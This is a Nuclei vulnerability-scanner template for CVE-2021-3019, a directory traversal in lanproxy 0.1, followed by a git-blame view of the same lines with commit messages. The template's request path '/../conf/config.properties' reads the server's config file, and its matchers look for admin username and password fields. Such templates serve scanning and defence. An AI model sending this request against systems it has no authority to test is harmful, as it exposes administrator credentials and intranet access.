nuclei-templates/http/cves/2021/CVE-2021-3019.yaml

id: CVE-2021-3019

info:
  name: ffay lanproxy Directory Traversal
  author: pikpikcu
  severity: high
  description: ffay lanproxy 0.1 is susceptible to a directory traversal vulnerability that could let attackers read /../conf/config.properties to obtain credentials for a connection to the intranet.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
  remediation: |
    Apply the latest patch or upgrade to a version that has fixed the vulnerability.
  reference:
    - https://github.com/ffay/lanproxy/commits/master
    - https://github.com/maybe-why-not/lanproxy/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3019
    - https://github.com/manas3c/CVE-POC
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-3019
    cwe-id: CWE-22
    epss-score: 0.00832
    epss-percentile: 0.81706
    cpe: cpe:2.3:a:lanproxy_project:lanproxy:0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lanproxy_project
    product: lanproxy
  tags: cve2021,cve,lanproxy,lfi,lanproxy_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/../conf/config.properties"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"
        condition: and

      - type: word
        part: body
        words:
          - "config.admin.username"
          - "config.admin.password"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100823507dd00b2974bdd4f0260d6614312eb2103421df54d284e01eb0a9b14620d0221008f77848c7872a70284b767b35da931c4650b4726930dcd0501409cb1332098f1:922c64590222798bb761d5b6d8e72950
Create CVE-2021-3019.yaml 2021-01-30 12:22:35 +00:00			`id: CVE-2021-3019`

			`info:`
Dashboard Content Enhancements (#4031) Dashboard Content Enhancements 2022-04-07 13:53:15 +00:00			`name: ffay lanproxy Directory Traversal`
Create CVE-2021-3019.yaml 2021-01-30 12:22:35 +00:00			`author: pikpikcu`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`severity: high`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`description: ffay lanproxy 0.1 is susceptible to a directory traversal vulnerability that could let attackers read /../conf/config.properties to obtain credentials for a connection to the intranet.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`This vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Apply the latest patch or upgrade to a version that has fixed the vulnerability.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Better references and description 2021-03-24 06:48:11 +00:00			`- https://github.com/ffay/lanproxy/commits/master`
			`- https://github.com/maybe-why-not/lanproxy/issues/1`
Dashboard Content Enhancements (#4031) Dashboard Content Enhancements 2022-04-07 13:53:15 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-3019`
TemplateMan Update [Sat Mar 23 09:28:19 UTC 2024] :robot: 2024-03-23 09:28:19 +00:00			`- https://github.com/manas3c/CVE-POC`
			`- https://github.com/sobinge/nuclei-templates`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 7.5`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-3019`
			`cwe-id: CWE-22`
TemplateMan Update [Sat Mar 23 09:28:19 UTC 2024] :robot: 2024-03-23 09:28:19 +00:00			`epss-score: 0.00832`
TemplateMan Update [Mon Apr 8 11:30:07 UTC 2024] :robot: 2024-04-08 11:30:07 +00:00			`epss-percentile: 0.81706`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:lanproxy_project:lanproxy:0.1:::::::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: lanproxy_project`
			`product: lanproxy`
auto tagging via templateman 2024-01-14 09:21:50 +00:00			`tags: cve2021,cve,lanproxy,lfi,lanproxy_project`
Create CVE-2021-3019.yaml 2021-01-30 12:22:35 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2021-3019.yaml 2021-01-30 12:22:35 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/../conf/config.properties"`

			`matchers-condition: and`
			`matchers:`
			`- type: word`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: header`
Create CVE-2021-3019.yaml 2021-01-30 12:22:35 +00:00			`words:`
			`- "application/octet-stream"`
			`condition: and`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
Create CVE-2021-3019.yaml 2021-01-30 12:22:35 +00:00			`- type: word`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: body`
Create CVE-2021-3019.yaml 2021-01-30 12:22:35 +00:00			`words:`
			`- "config.admin.username"`
			`- "config.admin.password"`
			`condition: and`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Mon Mar 25 11:57:16 UTC 2024] :robot: 2024-03-25 11:57:16 +00:00			`# digest: 4b0a00483046022100823507dd00b2974bdd4f0260d6614312eb2103421df54d284e01eb0a9b14620d0221008f77848c7872a70284b767b35da931c4650b4726930dcd0501409cb1332098f1:922c64590222798bb761d5b6d8e72950`